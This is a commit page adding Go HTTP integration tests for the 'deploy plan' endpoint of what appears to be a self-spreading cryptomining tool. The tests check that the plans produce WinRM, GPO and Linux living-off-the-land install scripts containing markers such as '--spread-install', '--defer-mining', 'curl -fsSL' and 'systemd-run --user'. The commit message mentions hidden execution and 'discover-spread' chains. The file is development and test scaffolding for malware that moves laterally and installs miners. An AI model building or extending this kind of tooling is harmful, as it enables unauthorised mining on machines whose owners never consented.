Close automatable P2 test gaps with mocks and httptest integration.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add container/podman exec mocks, BITS/curl HiddenRun coverage, WinRM/GPO/systemd deploy-plan httptest, and a 3-hop discover-spread Playwright stub chain.
This commit is contained in:
125
server/internal/api/deploy_plan_integration_test.go
Normal file
125
server/internal/api/deploy_plan_integration_test.go
Normal file
@@ -0,0 +1,125 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func postDeployPlan(t *testing.T, h *DeployPlanHandler, body string) map[string]interface{} {
|
||||
t.Helper()
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
h.PostDeployPlan(w, r)
|
||||
}))
|
||||
t.Cleanup(srv.Close)
|
||||
|
||||
resp, err := http.Post(srv.URL, "application/json", strings.NewReader(body))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
raw, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", resp.StatusCode, string(raw))
|
||||
}
|
||||
var out map[string]interface{}
|
||||
if err := json.Unmarshal(raw, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func TestPostDeployPlanHTTPWinRM(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeDeploySpreadTemplates(t, root)
|
||||
h := testDeployPlanHandlerWithRoot(t, root)
|
||||
|
||||
out := postDeployPlan(t, h, `{
|
||||
"services":[{"name":"WinRM","status":"running"}],
|
||||
"platform":"windows","build_id":"b1","campaign":"winrm-lab"
|
||||
}`)
|
||||
if out["ok"] != true {
|
||||
t.Fatalf("resp=%v", out)
|
||||
}
|
||||
if out["join_lane"] != "winrm" {
|
||||
t.Fatalf("join_lane=%v", out["join_lane"])
|
||||
}
|
||||
plan, ok := out["plan"].(map[string]interface{})
|
||||
if !ok || plan["join_lane"] != "winrm" {
|
||||
t.Fatalf("plan=%v", out["plan"])
|
||||
}
|
||||
script, _ := plan["script"].(string)
|
||||
for _, marker := range []string{"Enable-PSRemoting", "--spread-install", "--defer-mining"} {
|
||||
if !strings.Contains(script, marker) {
|
||||
t.Fatalf("script missing %q: %s", marker, script)
|
||||
}
|
||||
}
|
||||
if sig, _ := out["signature"].(string); sig == "" {
|
||||
t.Fatal("expected signature")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPostDeployPlanHTTPGPO(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeDeploySpreadTemplates(t, root)
|
||||
h := testDeployPlanHandlerWithRoot(t, root)
|
||||
|
||||
out := postDeployPlan(t, h, `{
|
||||
"services":[{"name":"gpsvc","status":"running"}],
|
||||
"platform":"windows","build_id":"b1","campaign":"gpo-wave"
|
||||
}`)
|
||||
if out["ok"] != true || out["join_lane"] != "gpo" {
|
||||
t.Fatalf("resp=%v", out)
|
||||
}
|
||||
plan := out["plan"].(map[string]interface{})
|
||||
script, _ := plan["script"].(string)
|
||||
if !strings.Contains(script, "AETHER_DEFER_MINING") || !strings.Contains(script, "/install.ps1") {
|
||||
t.Fatalf("script=%q", script)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPostDeployPlanHTTPLinuxLOTL(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeDeploySpreadTemplates(t, root)
|
||||
h := testDeployPlanHandlerWithRoot(t, root)
|
||||
|
||||
out := postDeployPlan(t, h, `{
|
||||
"services":[{"name":"sshd","status":"active"}],
|
||||
"platform":"linux","build_id":"b1","campaign":"lotl-lab"
|
||||
}`)
|
||||
if out["ok"] != true || out["join_lane"] != "linux_lotl" {
|
||||
t.Fatalf("resp=%v", out)
|
||||
}
|
||||
plan := out["plan"].(map[string]interface{})
|
||||
script, _ := plan["script"].(string)
|
||||
for _, marker := range []string{"systemd-run --user", "curl -fsSL"} {
|
||||
if !strings.Contains(script, marker) {
|
||||
t.Fatalf("script missing %q: %s", marker, script)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPostDeployPlanHTTPRejectsEmptyServices(t *testing.T) {
|
||||
h := testDeployPlanHandler(t)
|
||||
srv := httptest.NewServer(http.HandlerFunc(h.PostDeployPlan))
|
||||
t.Cleanup(srv.Close)
|
||||
|
||||
resp, err := http.Post(srv.URL, "application/json", strings.NewReader(`{"platform":"windows"}`))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusBadRequest {
|
||||
t.Fatalf("status=%d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user